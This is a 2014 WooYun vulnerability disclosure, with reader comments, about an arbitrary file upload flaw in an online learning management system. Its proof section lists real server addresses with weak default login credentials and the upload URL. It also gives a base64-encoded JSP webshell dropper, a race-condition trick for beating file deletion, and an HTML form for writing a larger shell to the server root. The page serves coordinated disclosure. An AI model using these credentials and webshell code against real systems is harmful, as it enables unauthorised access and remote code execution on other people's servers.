当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048295

漏洞标题:某通用型在线学习管理系统存在任意文件上传漏洞(另一种奇葩姿势)

相关厂商:cncert国家互联网应急中心

漏洞作者: wefgod

提交时间:2014-01-08 18:53

修复时间:2014-04-08 18:54

公开时间:2014-04-08 18:54

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-08: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-03-08: 细节向核心白帽子及相关领域专家公开
2014-03-18: 细节向普通白帽子公开
2014-03-28: 细节向实习白帽子公开
2014-04-08: 细节向公众公开

简要描述:

上一发:
http://www.wooyun.org/bugs/wooyun-2014-048190
前面写错标题了,希望改改@xsser

详细说明:

可以做学习用……不过还是要低权限账号登录先

漏洞证明:

首先需要一个低权限账号登录(反正没有验证码,设定好简单密码,按数字直接丢去暴了都没有问题)
给出几个默认或简单密码的:
http://58.214.233.113:8800/lmsv5/
00041013/123456
00041014/123456
00041012/123456
http://60.216.4.162:9091/lmsv5/
107649/111111
107648/111111
107640/111111
上传链接:
http://58.214.233.113:8800/lmsv5/user!editImportUser.action?IA_DEPTID=912
上传到uploads根目录,文件名没有修改

realpath = realpath + File.separator + this.fileUpload.getFileFileName()[0];


上传一个文件名为123.jsp的文件(本地怎么过js就自己再看看了),内容如下:

<%java.io.FileWriter w = new java.io.FileWriter(application.getRealPath("/1234.jsp"));w.write(new String((new sun.misc.BASE64Decoder()).decodeBuffer(("PCVqYXZhLmlvLkZpbGVXcml0ZXIgdyA9IG5ldyBqYXZhLmlvLkZpbGVXcml0ZXIoYXBwbGljYXRpb24uZ2V0UmVhbFBhdGgoIi8xMjM0NS5qc3AiKSk7dy53cml0ZShyZXF1ZXN0LmdldFBhcmFtZXRlcigiYyIpKTt3LmNsb3NlKCk7JT4="))));w.close();%>


上面的意思就是写一个1234.jsp文件,内容为

<%java.io.FileWriter w = new java.io.FileWriter(application.getRealPath("/12345.jsp"));w.write(request.getParameter("c"));w.close();%>


随便挂一个软件,一直访问http://58.214.233.113:8800/lmsv5/uploads/123.jsp
一定要那么做,因为:

File file = new File(filePath);
if ((file.isFile()) && (file.exists()))
file.delete();


配一个比如暴力破解的规则(反正可以重复不断访问上面这个链接就OK):

image001.png


先strart。
然后上传文件

image002.png


image004.png


改下后缀就OK。成功上传返回这样的页面:

image006.png


image008.png


有部分404,但是已经有多个请求是200了。
所以1234.jsp应该生成了,而且是在根目录
利用小马传大的

<form action="http://58.214.233.113:8800/lmsv5/1234.jsp" method="post">
<textarea name=c cols=120 rows=10 width=45></textarea><BR><center><br>
<input type=submit value="提交">
</form>


image010.png


成功在根目录生成12345.jsp
再去看看uploads目录,没有123.jsp了(按时间排序的):

image012.png


漏洞有点奇葩,过程有点麻烦,但是还是有一点点学习价值的

修复方案:

限制文件上传的类型

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-12 22:30

厂商回复:

CNVD确认并复现所述多个情况,已经由CNVD直接联系软件生产厂商用友新道科技有限公司处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-08 19:46 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    到底是啥姿势 没有想到 我还是一楼

  2. 2014-01-08 19:47 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:27 | ANONYMOUS)

    上次是我啊 你不要爬人家墙头好不好

  3. 2014-01-08 20:04 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    @hacker@sina.cn 咱们这么顶 都不发福利 唉...

  4. 2014-01-09 14:55 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @在路上 乌云不发福利给我啊,我也没办法,还是只有上次众测的啊……

  5. 2014-01-09 14:57 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @xsser @疯狗 标题写错了……是上传不是下载,复制过来的标题吃亏啊。希望审核改改,已经编辑了

  6. 2014-01-10 11:15 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @wefgod 改咯

  7. 2014-01-10 16:08 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @疯狗 感谢大哥!